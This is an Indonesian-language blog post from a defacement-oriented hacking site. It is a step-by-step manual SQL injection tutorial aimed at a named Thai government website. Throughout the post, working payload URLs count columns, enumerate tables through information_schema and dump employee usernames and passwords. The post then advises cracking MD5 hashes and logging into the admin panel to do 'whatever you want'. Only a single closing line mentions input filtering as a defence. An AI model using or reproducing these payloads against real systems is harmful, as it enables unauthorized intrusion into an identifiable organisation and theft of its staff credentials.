You are here
Home > Deface

SQL Injection

serangan sql injection

SQL Injection (SQLI) adalah sebuah teknik peretasan terhadap database yang memanfaatkan celah keamanan pada suatu aplikasi dengan memasukan query query tertentu. Query yang dimasukan biasanya bertujuan untuk melakukan pencurian data dan informasi. Tapi bukan hanya itu, terkadang juga celah ini bisa dimanfaatkan untuk menjalankan script php.

Teknik ini merupakan salah satu teknik peretasan yang paling populer dari tahun ke tahun dan biasanya celah ini terdapat pada aplikasi web berbasis php. Dalam melakukan injeksi terhadap sql, peretas bisa langsung mengeksekusi langsung menggunakan web browser atau menggunakan bantuan tools.

Tools yang biasa digunakan untuk melakukan serangan ini antara lain adalah havij dan sqlmap. Tapi jika menggunakan tools, biasanya injeksi tidak selalu berhasil dilakukan. Nah, bagi mereka yang tidak menggunakan tools biasanya menyebut tekniknya sebagai sqli manual.

Saya tidak bilang bahwa kalian akan langsung berhasil jika melakukan injeksi manual, karena banyak website yang menggunakan filtrasi. Yang biasa disebut sebagai waf (web application firewall), dari namanya sudah ketebak bukan? Yap, itulah yang melindungi website dari serangan.

Untuk melakukan injeksi terhadap sql secara manual, kalian bisa melihat tutorial dibawah ini.

1.Semisal saya memiliki target www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1
serangan sql injection

2.Kemudian saya menambahkan ‘ dibelakang angka untuk mengetes celah sql. Apabila terdapat error seperti dibawah atau ada teks, gambar dan apapun yang hilang maka bisa kita katakan ini vuln
serangan sql injection

3.Kemudian kita akan menghitung tabel menggunakan order by apabila masih error, hapus tanda ‘ terlebih dahulu. Jika sudah maka biasanya tidak akan ada error lagi, nah untuk menghitung tabel kita akan melakukannya satu satu.
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1+order+by+1–+- (normal)
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1+order+by+2–+- (normal)
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1+order+by+3–+- (normal)
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1+order+by+13–+- (normal) ini di skip langsung ke 13 karena kebanyakan ya
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1+order+by+14–+- (error) Nah disini error, artinya tabel yang ada cuma 13.
serangan sql injection

Nah buat kalian yang males itung tabel. Caranya longkap longkap aja, awal tebak masukin 10, kalau error turun 5. Kalau di 5 belom error naik 7/8 dan pokonya nebak aja jangan satu – satu cape apalagi yang tabelnya ratusan.

4.Selanjutnya kita akan mencari tabel yang bisa diinjeksi menggunakan query sql dengan union select
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13–+- (1 sampai 13 adalah jumlah tabel yang didapatkan pada langkah nomor 3 tadi)
serangan sql injection

Apabila tidak terdapat error, tambahkan – sebelum angka maka akan menjadi
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13–+-
serangan sql injection

5.Dari atas didapatkan angka 2 dan 7 yang biasa disebut jadi angka togel. Disitulah kita bisa menjalankan injeksinya. Untuk membaca nama – nama tabel gunakan group_concat(table_name) pada angka togel (bebas yang mana) dan akhiri dengan +from+information_schema.tables+where+table_schema=database() hingga menjadi
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables+where+table_schema=database()–+-
serangan sql injection

6.Nanti muncul deh tuh nama nama tabelnya, sekarang saatnya mengambil nama kolom. Sebelumnya tentukan tabel apa yang ingin diambil kolomnya, lalu konversi kedalam bentuk desimal menggunakan tools ini. Lalu replace spasi dengan tanda koma. Disini saya akan membaca tabel m_employee.
serangan sql injection

Menggunakan group_concat(column_name) dan diakhiri dengan +from+information_schema.columns+where+table_name=CHAR(109,95,101,109,112,108,111,121,101,101) ganti teks biru dengan hasil konversi tadi. Sehingga akan menjadi
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13+from+information_schema.columns+where+table_name=CHAR(109,95,101,109,112,108,111,121,101,101)–+-
serangan sql injection

7.Munculah nama – nama kolomnya, sekarang kita asumsikan saya ingin mengambil kolom username dan password pada tabel m_employee tadi. Gunakan group_concat(username,0x3a,password) untuk mengambil data dan diakhiri dengan +from+m_employee.
Teks warna biru itu disesuaikan dengan kolom yang muncul pada langkah nomor 6 tadi. Teks warna hijau adalah tanda : yang dikonversi dalam bentuk hex, gunanya untuk misahin data username dan password aja. Nah teks warna coklat itu nama tabel yang kita ambil pada langkah nomor 5.
Sehingga kurang lebih menjadi
www.khunpadpeng.go.th/main.php?page=plan2&plantype_id=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13+from+m_employee–+-
serangan sql injection

8.Muncul deh username dan password adminnya. Kalau password bentuknya masih terhash, decrypt terlebih dahulu tergantung jenis hash yang digunakan. Biasanya sih kalo password itu make md5.
serangan sql injection

Kalo udah tinggal login ke admin pagenya, abis itu terserah deh mau diapain. Panjang ya? Iya, gua juga cape anjir ngetiknya :v Tapi ini semua masih dasar, jalanmu masih panjang nak 😀

Nah untuk memudahkan injeksi, ada addons firefox yang dinamakan hackbar. Fiturnya bisa dibilang sangat lengkap, dan bukan cuma untuk SQLI. Hackbar juga bisa digunakan untuk xss, lfi dan lain – lain. Download disini (no shortlink shortlink club bhh) Kalo mau donasi klik iklan saja :v

Pencegahan yang paling tepat untuk mengatasi sql injection adalah dengan cara menyaring input tertentu yang biasanya berupa simbol. Baca juga SQL injection form login dan Thailand government sql injection vulnerability.

0N3R1D3R
Founder Indonesia To World Team
https://www.indonesiatoworld.org

Berlangganan via email

Ketik email:


4 thoughts on “SQL Injection

Tinggalkan Balasan

Top